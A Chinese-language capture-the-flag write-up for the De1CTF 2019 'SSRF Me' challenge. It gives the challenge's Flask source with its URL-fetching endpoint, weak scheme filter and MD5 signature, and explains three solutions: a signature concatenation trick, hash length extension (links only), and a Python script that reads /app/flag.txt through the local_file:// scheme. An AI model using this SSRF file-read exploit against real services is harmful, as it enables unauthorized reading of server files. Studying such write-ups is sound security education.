[De1CTF 2019]SSRF Me

#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)

class Task:
    def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if(not os.path.exists(self.sandbox)):          #SandBox For Remote_Addr
            os.mkdir(self.sandbox)

    def Exec(self):
        result = {}
        result['code'] = 500
        if (self.checkSign()):
            if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print resp
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result

    def checkSign(self):
        if (getSign(self.action, self.param) == self.sign):
            return True
        else:
            return False
            
#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)

@app.route('/De1ta',methods=['GET','POST'])
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if(waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())
@app.route('/')
def index():
    return open("code.txt","r").read()

def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]
    except:
        return "Connection Timeout"

def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()
    
def md5(content):
    return hashlib.md5(content).hexdigest()
    
def waf(param):
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False
        
if __name__ == '__main__':
    app.debug = False
    app.run(host='0.0.0.0')

有三种方法
首先这道题我们有三个可变参数
[De1CTF 2019]SSRF Me_第1张图片

第一种方法

字符串拼接

我们的目的是读取文件内容,就需要找到类似python函数
[De1CTF 2019]SSRF Me_第2张图片
我们再往前找到scan函数
[De1CTF 2019]SSRF Me_第3张图片
执行scan函数的条件是提交的action里面有scan,执行这条语句后将返回结果写到了result.txt下,后面需要读取,因此action必须要有read
[De1CTF 2019]SSRF Me_第4张图片
再看一下checkSign的触发条件
[De1CTF 2019]SSRF Me_第5张图片
在这里插入图片描述
这里我们不知道secret_key,现在想办法获取
[De1CTF 2019]SSRF Me_第6张图片
可以看到返回了getSign,我们接下来访问一下生成这个hash值
[De1CTF 2019]SSRF Me_第7张图片
关于为什么要提交param=flag.txtread,因为这里的action是代码里固定住的,要保证action同时出现read和scan且前后param,action,secret_key拼接结果相同,也就是说根本上是保证三者生成的md5值相同,那么这个我们得到的md5就是我们的sign值
[De1CTF 2019]SSRF Me_第8张图片

第二种方法

hash长度拓展攻击

关于哈希扩展攻击
https://joychou.org/web/hash-length-extension-attack.html
实验吧的一道ctf
https://blog.csdn.net/dyw_666666/article/details/89448729

第三种方法

local_file

import requests
conn = requests.Session()

url = "http://139.180.128.86"
def geneSign(param):
    data = {
        "param": param
    }
    resp = conn.get(url+"/geneSign",params=data).text
    print resp
    return resp

def challenge(action,param,sign):
    cookie={
        "action":action,
        "sign":sign
    }
    params={
        "param":param
    }
    resp = conn.get(url+"/De1ta",params=params,cookies=cookie)
    return resp.text
filename = "local_file:///app/flag.txt"
a = []
for i in range(1):
    sign = geneSign("{}read".format(filename.format(i)))
    resp = challenge("readscan",filename.format(i),sign)
    if("title" in resp):
        a.append(i)
    print resp,i
print a
参考
https://xz.aliyun.com/t/5927

你可能感兴趣的:(CTF)